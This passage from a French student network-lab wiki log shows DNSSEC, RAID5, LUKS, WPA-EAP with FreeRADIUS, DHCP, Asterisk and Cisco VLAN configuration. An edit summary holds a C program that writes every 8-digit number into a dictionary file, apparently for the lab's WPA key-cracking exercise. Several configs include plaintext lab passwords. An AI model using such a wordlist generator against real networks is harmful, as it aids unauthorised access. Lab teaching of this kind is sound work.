&amp;lt;pre&amp;gt;root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk&lt;br /&gt;
Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
Zone fully signed:&lt;br /&gt;
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                    ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
../db.speedflash.space.signed&amp;lt;/pre&amp;gt;&lt;br /&gt;
On ajoute le DNSSEC à Gandi : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Dns-gandi.png]]&amp;lt;br /&amp;gt;&lt;br /&gt;
On vérifie que notre DNS est bien sécurisé en essayant la commande : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost&lt;br /&gt;
&lt;br /&gt;
; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u8-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; DNSKEY speedflash.space @localhost&lt;br /&gt;
;; global options: +cmd&lt;br /&gt;
;; Got answer:&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags:; udp: 4096&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;speedflash.space.        IN    DNSKEY&lt;br /&gt;
&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3&amp;lt;/pre&amp;gt;&lt;br /&gt;
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 7e séance====&lt;br /&gt;
=====Création du RAID5=====&lt;br /&gt;
On ajoute premièrement les partitions à la définition de la machine virtuelle:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;'phy:/dev/virtual/RedFlash,xvdb,w',&lt;br /&gt;
'phy:/dev/virtual/BlackFlash,xvdc,w',&lt;br /&gt;
'phy:/dev/virtual/ReverseFlash,xvdd,w'&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on crée le RAID5 avec les 3 partitions :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie en regardant le fichier de log /proc/mdstat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=============&amp;gt;.......]  recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===============&amp;gt;.....]  recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [================&amp;gt;....]  recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=================&amp;gt;...]  recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [==================&amp;gt;..]  recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# [ 1462.872022] md: md0: recovery done.&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# mkfs /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
	32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done&lt;br /&gt;
Writing inode tables: done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done&lt;br /&gt;
&lt;br /&gt;
root@Flash:~# mount /dev/md0 /mnt&lt;br /&gt;
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem&lt;br /&gt;
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Cryptage de données=====&lt;br /&gt;
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, on commence le cryptage des données sur la carte SD: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1 &lt;br /&gt;
&lt;br /&gt;
WARNING!&lt;br /&gt;
========&lt;br /&gt;
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.&lt;br /&gt;
&lt;br /&gt;
Are you sure? (Type uppercase yes): YES&lt;br /&gt;
Saisissez la phrase secrète : ***************&lt;br /&gt;
Vérifiez la phrase secrète : ***************&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home&lt;br /&gt;
Saisissez la phrase secrète pour /dev/mmcblk1p1 : &lt;br /&gt;
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.&lt;br /&gt;
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879&lt;br /&gt;
Superblocs de secours stockés sur les blocs : &lt;br /&gt;
	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocation des tables de groupe : complété                        &lt;br /&gt;
Écriture des tables d'i-noeuds : complété                        &lt;br /&gt;
Création du journal (32768 blocs) : complété&lt;br /&gt;
Écriture des superblocs et de l'information de comptabilité du système de&lt;br /&gt;
fichiers : complété&amp;lt;/pre&amp;gt;&lt;br /&gt;
On monte la partition : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Rason:/# umount /mnt&lt;br /&gt;
root@Rason:/# cryptsetup luksClose home&amp;lt;/pre&amp;gt;&lt;br /&gt;
====Travail réalisé la 8e séance====&lt;br /&gt;
=====Modification routeur pour prise en charge Wifi=====&lt;br /&gt;
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. &amp;lt;br /&amp;gt;&lt;br /&gt;
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Sécurisation Wifi par WPA-EAP=====&lt;br /&gt;
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; flash Cleartext-Password:=&amp;quot;reverse&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; client E306 {&lt;br /&gt;
	ipaddr		= 10.60.1.2&lt;br /&gt;
	secret		= password&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa authentication login eap_flash group radius_flash&lt;br /&gt;
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc&lt;br /&gt;
aaa group server radius radius_flash&lt;br /&gt;
server 193.48.57.165 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
dot11 ssid SSID_FLASH&lt;br /&gt;
vlan 6&lt;br /&gt;
authentication open eap eap_flash&lt;br /&gt;
authentication network-eap eap_flash&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 6 mode ciphers aes-ccm tkip&lt;br /&gt;
ssid SSID_FLASH&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
no ip route-cache&lt;br /&gt;
bridge-group 6&lt;br /&gt;
bridge-group 6 subscriber-loop-control&lt;br /&gt;
bridge-group 6 spanning-disabled&lt;br /&gt;
bridge-group 6 block-unknown-source&lt;br /&gt;
no bridge-group 6 source-learning&lt;br /&gt;
no bridge-group 6 unicast-flooding &lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
bridge-group 6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;auto wlan0&lt;br /&gt;
iface wlan0 inet static&lt;br /&gt;
  address 10.60.6.6&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 10.60.6.1&lt;br /&gt;
  wpa-ssid SSID_FLASH&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity flash&lt;br /&gt;
  wpa-password reverse&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. &amp;lt;br /&amp;gt;&lt;br /&gt;
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle .&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.6&lt;br /&gt;
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 9e séance====&lt;br /&gt;
=====Serveur DHCP=====&lt;br /&gt;
Nous avons installé le paquet '''isc-dhcp-server'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''':&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;option domain-name &amp;quot;speedflash.space&amp;quot;;&lt;br /&gt;
option domain-name-servers 193.48.57.165;&lt;br /&gt;
&lt;br /&gt;
subnet 10.60.6.0 netmask 255.255.255.0 {&lt;br /&gt;
      range 10.60.6.10 10.60.6.40;&lt;br /&gt;
      option routers 10.60.6.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.&lt;br /&gt;
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:DHCP iphone.png || center || 350px]] &amp;lt;br /&amp;gt;&lt;br /&gt;
et nous arrivons à la pinger depuis la machine virtuelle.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.10&lt;br /&gt;
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====PCBX=====&lt;br /&gt;
Nous avons modifiés le fichier sip.conf :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[general]&lt;br /&gt;
hasvoicemail=yes&lt;br /&gt;
hassip=yes&lt;br /&gt;
hasiax=yes&lt;br /&gt;
callwaiting=yes&lt;br /&gt;
threewaycalling=yes&lt;br /&gt;
callwaitingcallerid=yes&lt;br /&gt;
transfer=yes&lt;br /&gt;
canpark=yes&lt;br /&gt;
cancallforward=yes&lt;br /&gt;
callreturn=yes&lt;br /&gt;
callgroup=1&lt;br /&gt;
pickupgroup=1&lt;br /&gt;
nat=yes&lt;br /&gt;
&lt;br /&gt;
[6001]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=trojSmaia&lt;br /&gt;
secret=secret&lt;br /&gt;
context=work&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[work]&lt;br /&gt;
exten=&amp;gt;_6XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
exten =&amp;gt; _6XXX,2,Hangup()&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous n'avons pas encore testé cette solution.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=35207</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=35207"/>
				<updated>2016-11-17T10:19:45Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : #include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt;   int main(){ 	FILE *fp=fopen(&amp;quot;dico.txt&amp;quot;,&amp;quot;w+&amp;quot;); 	int i =0; 	for(i=0;i&amp;lt;=99999999;i++){ 		fprintf(fp,&amp;quot;%08d\n&amp;quot;,i); 	} 	return 0; }&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRp - Cassage de clé WEP - Cassage de clé WPA&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (21/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère semaine ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e semaine (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
